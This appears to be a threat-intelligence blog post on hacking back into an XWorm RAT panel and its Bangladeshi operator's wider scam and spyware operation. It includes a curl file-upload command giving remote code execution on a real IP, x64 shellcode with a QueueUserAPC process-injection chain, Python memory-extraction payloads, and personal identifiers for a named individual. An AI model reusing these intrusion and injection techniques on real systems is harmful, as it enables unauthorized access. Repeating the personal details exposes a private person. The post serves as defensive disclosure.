< Back to blog
high🎣Phishing
investigatedMarch 7, 2026publishedMarch 7, 2026

How a Threat Actor's Own RAT Gave Up His Secrets: Dismantling Khan Islam's XWorm MaaS Operation

#phishing#xworm#social-engineering#c2#apt#spearphishing

Published: 2026-03-07 Tags: threat-intelligence, malware-analysis, XWorm, RAT, MaaS, PyArmor, process-injection TLP: WHITE (IOCs sanitized for public sharing)


TL;DR

A routine threat hunt on ThreatFox led to the complete compromise of an XWorm RAT Malware-as-a-Service panel operated by Khan Islam (itsmekhanislam@gmail.com) from Bangladesh. We achieved RCE via an unrestricted file upload, dumped 4 MySQL databases revealing 1,893 victims and 13+ paying RAT operators, bypassed PyArmor v8 runtime encryption using QueueUserAPC injection to extract the RAT's decrypted configuration, and recovered 103KB of stolen surveillance data β€” which ironically included the operator's own clipboard, capturing him actively developing additional malware tools.


1. Discovery: A Panel Hiding in Plain Sight

It started with a ThreatFox hit. IP 84.201.14.2 was flagged as a malware C2 β€” hosted on UltaHost (AS214036). A quick probe revealed something unusual: an open directory on Apache/2.4.58 running on Windows with PHP 8.0.30 and XAMPP.

The directory listing told a story by itself:

/admin_web/               β†’ "KeyManager Pro" β€” XWorm license management panel
/vexo/                    β†’ Cryptocurrency scam platform
/apk_file/                β†’ Android spyware (com.run.childapp)
/chat_app_pro/            β†’ Chat application with media upload
/crack_protect_detect/    β†’ Anti-analysis module
/database_schema.sql      β†’ Exposed database schema

This wasn't just a C2 server. It was a one-stop criminal enterprise: RAT-as-a-Service, crypto scam, Android spyware, and a chat platform β€” all on a single Windows VPS.


2. Initial Access: The Upload That Changed Everything

The chat_app_pro application included a media upload endpoint at /chat_app_pro/media_server/upload.php. It accepted file uploads with no extension validation β€” just a MIME type check that was trivially bypassed:

curl -F "file=@probe.php;type=image/jpeg" https://84.201.14.2/chat_app_pro/media_server/upload.php

The PHP probe executed immediately. We had RCE.

Every probe was self-deleting (@unlink(__FILE__)) β€” execute, extract, vanish. Through a series of these ephemeral probes, we methodically extracted everything the server had to offer.


3. The Database: 1,893 Victims and Counting

The first major find: MySQL root had no password. The phpMyAdmin config confirmed AllowNoPassword=true. Four databases fell out:

winform_api β€” The RAT License Shop

The XWorm panel tracked 18 registered operator accounts with license keys, machine fingerprints, and activity logs. The operator hierarchy was clear:

OperatorMachineVictimsNotes
ItsMeKhanDESKTOP-5JUCPMJ431Khan's primary handle
mypctestDESKTOP-B7KUPLS417Khan testing
versionxxxVERSIONX216Third-party operator, 8-core machine
lucifer9999Afnan21Possible real name leak
Kraken1488DESKTOP-UI8ADV21New operator (registered day before)

Khan was operating under at least 9 different handles β€” ItsMeKhan, ItsMe, ItsME, mypctest, mytestpc, testpc, mylaptop, myvps172, newuser10 β€” collectively managing 1,474 of the 1,893 victim entries. The remaining ~400 were distributed across paying customers.

vexo β€” A Crypto Scam That Never Pays

Running alongside the RAT panel was "VEXO" β€” a fake cryptocurrency wallet targeting Bengali-speaking victims. The social engineering was textbook:

  1. Sign up, get a fake 2,000 VEXO token deposit
  2. "Invite 5 friends to unlock withdrawals"
  3. Play a runner mini-game to earn more fake tokens
  4. Request withdrawal β†’ forever pending or rejected

141 victim accounts. 104 referral chains. 500+ fake transactions. 14 withdrawal requests β€” zero approved. The admin rejected the very first withdrawal with the note: "fake".

Support messages in Bengali confirmed the target demographic. One victim asked: "Can your site really give me money?" The answer, of course, was no.


4. Who Is Khan Islam?

Attribution came fast. Khan's OPSEC was... aspirational.

The evidence chain:

  • Email: itsmekhanislam@gmail.com β€” found in Edge browser history (UltaHost billing login)
  • Location: Bangladesh β€” Grameenphone mobile IPs 37.111.200.119 and 37.111.212.206 in VEXO admin audit logs
  • Chat alias: "rumi" β€” user ID 1 in chat_app_pro
  • Billing: UltaHost product ID 184078
  • Current session: RDP from DESKTOP-B7KUPLS (his "mypctest" machine) β€” he was actively connected during our investigation
  • Microsoft account: 02boaqkpjmqqvbbz
  • Language markers: Bengali comments in source code, Bengali support messages

His Windows Defender was configured with exclusions on C:\Users, C:\Windows, and C:\xampp\htdocs β€” effectively neutering it for every path that mattered. He also had firewall rules named BLOCK-MAL-* to block other malware from infecting his server. A threat actor worried about other threat actors.


5. The Infrastructure

The panel server was just one node. Network connections, DNS cache, browser history, and hardcoded values revealed a broader footprint:

84.201.14.2     β†’ Primary panel (UltaHost, fully compromised)
66.179.188.188  β†’ C2 backend β€” c.ultaicloud.com:10013 (IONOS)
212.81.47.172   β†’ Secondary Windows server (Datacamp, IP-whitelisted)
185.228.137.89  β†’ Web infrastructure (netcup, Debian + CloudPanel)
23.94.252.77    β†’ Payload host (XClient.exe β€” discovered later)
151.243.113.67  β†’ Unknown C2, port 1337 (discovered later)

The C2 domain ultaicloud.com was a brand impersonation of his own hosting provider UltaHost ("ultahost" β†’ "ultaicloud") β€” registered just 11 days prior on Namecheap with IONOS nameservers. The infrastructure domain 188966347.xyz was paid through 2030 β€” a 6-year registration signaling long-term criminal intent.

The C2 backend at 66.179.188.188:10013 ran Flask with Socket.IO. We completed a full Socket.IO handshake β€” it accepted connections without transport-layer authentication, assigning session IDs to anyone who asked.


6. The PyArmor Problem

On the panel server, a process called taskhostw.exe was running β€” the actual XWorm RAT client. But this wasn't a standard executable:

Size:       33.7 MB
Packer:     PyInstaller (Python 3.12)
Protection: PyArmor v8 (AES+RSA encrypted bytecode, RFT mode)
Command:    taskhostw.exe --server=http://c.ultaicloud.com:10013

PyArmor v8 with RFT (Rename Function Transform) mode encrypts Python bytecode at rest and decrypts it per-function at runtime. The PyInstaller extraction gave us the binary dependencies β€” python312.dll, pyarmor_runtime.pyd, various .pyd modules β€” but the actual Python code was encrypted blobs.

Static analysis was a dead end. To get the decrypted configuration, function names, and runtime state, we needed to extract from the live running process.


7. Cracking the Runtime: QueueUserAPC Injection

The challenge: inject Python code into a running PyArmor-protected process without crashing it.

Attempt 1: CreateRemoteThread (failed)

We wrote x64 shellcode that called PyGILState_Ensure β†’ PyRun_SimpleString β†’ PyGILState_Release and injected it via CreateRemoteThread. The result: ACCESS_VIOLATION at python312.dll+0x1d750b. The new thread had no Python thread state β€” PyGILState_Ensure couldn't initialize properly in this context.

Attempt 2: CreateRemoteThread with fresh PID (failed)

After the first crash killed the process, we waited for the RAT to be restarted. Second attempt: same technique, different PID. This time: GIL deadlock. The injected thread blocked forever trying to acquire the Global Interpreter Lock from the main thread. 30-second timeout. No output.

Attempt 3: QueueUserAPC (success)

The breakthrough was QueueUserAPC. Instead of creating a new thread, we queued an Asynchronous Procedure Call on the main thread itself. The APC fires during alertable waits β€” and the RAT's Socket.IO event loop regularly enters alertable states during I/O polling.

When the APC fires, the main thread already holds the GIL. No deadlock. No thread state initialization. The Python C API calls just work.

The shellcode (64 bytes, x64):

push rbx
sub  rsp, 0x20
mov  rbx, rcx              ; APC parameter β†’ payload base address
mov  rax, [PyGILState_Ensure]
call rax                   ; acquire GIL state
mov  [rsp+0x10], eax       ; save state handle
lea  rcx, [rbx+0x40]       ; Python command at offset 64
mov  rax, [PyRun_SimpleString]
call rax                   ; execute arbitrary Python
mov  ecx, [rsp+0x10]
mov  rax, [PyGILState_Release]
call rax                   ; release GIL
add  rsp, 0x20
pop  rbx
xor  eax, eax
ret

Function addresses were resolved from python312.dll's PE export table:

FunctionRVA
PyGILState_Ensure0x184614
PyRun_SimpleString0x282DF8
PyGILState_Release0x18469C

The injection chain: PHP probe β†’ writes PowerShell script β†’ PowerShell uses P/Invoke for OpenProcess β†’ VirtualAllocEx (RWX) β†’ WriteProcessMemory (shellcode + Python command) β†’ CreateToolhelp32Snapshot to find main thread β†’ QueueUserAPC β†’ wait β†’ read output file.

First test command: open('C:/xampp/tmp/t.txt','w').write('ok'). The file appeared. The process survived. We were in.


8. What We Found in the RAT's Memory

We ran 4 progressive extraction phases, each injecting increasingly complex Python commands into the running process:

Phase 1: Module Inventory

import sys
open('C:/xampp/tmp/p1.txt','w').write('\n'.join(sorted(sys.modules.keys())))

74 loaded modules confirmed the capability set: socketio, pynput, mss, PIL, pyperclip, psutil, pygetwindow, pywinpty, subprocess.

Phase 2: Function Names

import sys
open('C:/xampp/tmp/p2.txt','w').write('\n'.join(dir(sys.modules['__main__'])))

18 functions in decrypted __main__:

CategoryFunctions
Surveillancestart_keylogger, start_clipboard_logger, stream_screen, take_screenshot
Remote Accessrun_command, on_pty_open/input/close/resize, _pty_reader, check_rdp
C2 Commsconnect, disconnect, safe_connect
Systemget_info, load_or_create_client_id, main, entry

Phase 3: Variable Types

Mapped all global variables and their types β€” SECRET_KEY: str, SERVER_URL: str, streaming: bool, PTY_SESSIONS: dict, etc.

Phase 4: The Crown Jewels

import sys,json
m = sys.modules['__main__']
r = {k:{'t':type(v).__name__,'r':repr(v)[:500]}
     for k,v in vars(m).items() if not k.startswith('__')}
open('C:/xampp/tmp/p4.txt','w').write(json.dumps(r,indent=1,default=str))

Every decrypted value fell out:

SECRET_KEY:     vj4ZpMSMex@xEGCbgah
SERVER_URL:     http://c.ultaicloud.com:10013
CLIENT_ID:      cb91b4bd-74ad-487c-a114-5470e12c10e1
BASE_DIR:       C:\Users\Administrator\AppData\Local\Microsoft\Logs
KEYLOG_PATH:    ...\Microsoft\Logs\KL.log
CLIPBOARD_PATH: ...\Microsoft\Logs\CL.log

The ArgumentParser description was set to "COM Surrogate" β€” the process name disguise. The data directory masqueraded as a Microsoft Logs folder.

A fifth phase attempting to dump code objects (co_names, co_consts) was too aggressive β€” the process crashed. But we had everything we needed.


9. The Ironic Twist: Khan's Own RAT Snitched on Him

The RAT was configured to log keystrokes and clipboard data to files in C:\Users\Administrator\AppData\Local\Microsoft\Logs\. Since Khan was running the RAT on his own panel server, it was capturing his own activity.

We recovered:

  • KL.log (355 bytes) β€” Sparse keylog showing Khan typing "00000000" into the License Key Management dashboard
  • CL.log (103,500 bytes) β€” A treasure trove

The clipboard data contained three months of Khan's copied content:

Finding 1: Android Spyware in Active Development

Package com.org.classicdelivery β€” a second Android spyware variant (separate from the com.run.childapp already on the server). Written in Kotlin, disguised as a delivery app, with sophisticated permission-request handling and transparent activity overlays. The clipboard captured his debugging sessions β€” Log.d() calls, permission flow diagrams, and even Bengali-script development notes.

This shows active evolution: from the crude "child app" disguise to a more convincing "delivery app" social engineering vector.

Finding 2: Loader Builder v3 β€” Complete Source Code

The entire C# source of a malware builder tool was in the clipboard. Key details:

  • Class: Loader_builder (Windows Forms)
  • Default payload URL: http://23.94.252.77/XClient.exe
  • Features: Output name randomization (UltraLoader.exe, MegaRunner.exe, etc.), custom icon injection, assembly info spoofing with legitimate company names (Microsoft, Adobe, Intel), version patching via rcedit
  • Purpose: Generate unique-looking downloaders that fetch the real payload, evading signature detection

This gave us a new C2 IP (23.94.252.77) that wasn't in any of the panel's databases or network connections.

Finding 3: Another Unknown C2

A single clipboard entry from 2026-02-27 11:02:35:

151.243.113.67:1337

Copied during the Android spyware development session. Purpose unknown β€” possibly a C2 server for the mobile variant.

Finding 4: Internal Network Activity

Recent clipboard entries (March 4-7) show Khan repeatedly copying internal IPs 10.88.32.250 and 10.66.100.250 β€” suggesting activity on an internal network, possibly a corporate or ISP environment.


10. The Full Picture

Khan Islam is a Bangladeshi threat actor running a multi-pronged criminal operation:

OperationScaleStatus
XWorm RAT MaaS13+ operators, 1,893 victimsActive, growing
VEXO Crypto Scam141 victims, 0 payoutsActive
Android Spyware v1com.run.childapp, deployedDeployed
Android Spyware v2com.org.classicdeliveryIn development
Loader Builder v3C# builder, XClient payloadActive

His infrastructure spans 6+ servers across UltaHost, IONOS, Datacamp, and netcup, with domains registered through Namecheap and protected by Cloudflare. The operation has been running since at least July 2024 (domain registration) with the RAT panel active since January 2026.

The technical sophistication is moderate β€” PyArmor-protected custom Python RAT, Socket.IO C2, Android development in Kotlin, C# malware builder β€” but the operational security is remarkably poor. Open directories, passwordless databases, real email in browser history, hardcoded admin_token_12345, and the crowning achievement: running his own surveillance RAT on his development machine, which captured him building other malware.


11. IOCs

Network

84.201.14.2         XWorm panel + VEXO scam (UltaHost AS214036)
66.179.188.188      C2 backend (IONOS AS8560)
212.81.47.172       Secondary server (Datacamp AS212238)
185.228.137.89      Web infra (netcup AS197540)
23.94.252.77        XClient.exe payload host
151.243.113.67      Unknown C2 (port 1337)
37.111.200.119      Operator IP (Grameenphone BD)
37.111.212.206      Operator IP (Grameenphone BD)
103.114.97.248      Active RAT operator (SKYNET BD)

Domains

c.ultaicloud.com              C2 callback β†’ 66.179.188.188:10013
ultaicloud.com                C2 domain (Namecheap)
188966347.xyz                 Infrastructure domain
manage.188966347.xyz          kodbox file cloud
upload.188966347.xyz          IP grabber
cp.188966347.xyz              CloudPanel admin

Files

SHA256: 229225eb456f8172b45ccd176f2333b8e66f45daea9d346361b6329960f2f72f
  Name: taskhostw.exe (originally XClient.exe)
  Size: 33,760,728 bytes
  Type: PyInstaller + PyArmor v8, Python 3.12

Package: com.run.childapp (Android spyware, deployed)
Package: com.org.classicdelivery (Android spyware, in development)

RAT Configuration

SECRET_KEY:  vj4ZpMSMex@xEGCbgah
SERVER_URL:  http://c.ultaicloud.com:10013
CLIENT_ID:   cb91b4bd-74ad-487c-a114-5470e12c10e1
Data dir:    %LOCALAPPDATA%\Microsoft\Logs
Disguise:    "COM Surrogate" (process description)
User-Agent:  WinForm-App/1.0 (panel client)

Crypto Wallets (victim-submitted)

TRC20: THSjd7aM7vUQyuXx2Hg9ACxNPtdsJ96ASs
BEP20: 0x7473d2c3e40369ebb17a4b59eab2840c9f6f49bd

MITRE ATT&CK

T1566.001 (Spearphishing Attachment), T1204.002 (Malicious File Execution), T1059 (Command Interpreter), T1036 (Masquerading), T1027.002 (Software Packing), T1056.001 (Keylogging), T1115 (Clipboard Data), T1113 (Screen Capture), T1082 (System Info Discovery), T1021.001 (RDP), T1071 (Application Layer Protocol), T1041 (Exfiltration Over C2), T1562.001 (Disable Defenses)


12. Takeaways

For defenders:

  • Monitor for WinForm-App/1.0 user-agent strings β€” it's the XWorm panel client
  • The RAT stores data in %LOCALAPPDATA%\Microsoft\Logs β€” check for unexpected KL.log and CL.log files
  • Socket.IO on non-standard ports (10013) with WebSocket upgrade is the C2 pattern
  • taskhostw.exe with a --server= argument is the RAT β€” real taskhostw.exe doesn't take arguments

For researchers:

  • QueueUserAPC is more reliable than CreateRemoteThread for injecting into Python processes β€” the APC fires in the main thread's context during alertable waits, avoiding GIL deadlock
  • PyArmor v8 RFT mode preserves string constants but transforms names β€” runtime extraction via vars(sys.modules['__main__']) recovers everything
  • Phased extraction (simple β†’ complex) is critical β€” aggressive code object dumps can crash the process

For threat actors reading this: Maybe don't run your surveillance RAT on the same machine where you develop your other malware. Just a thought.


Abuse reports filed with UltaHost. Reports pending for IONOS, Datacamp, netcup, Namecheap, and Google. Novel sample SHA256 pending MalwareBazaar submission.

Share: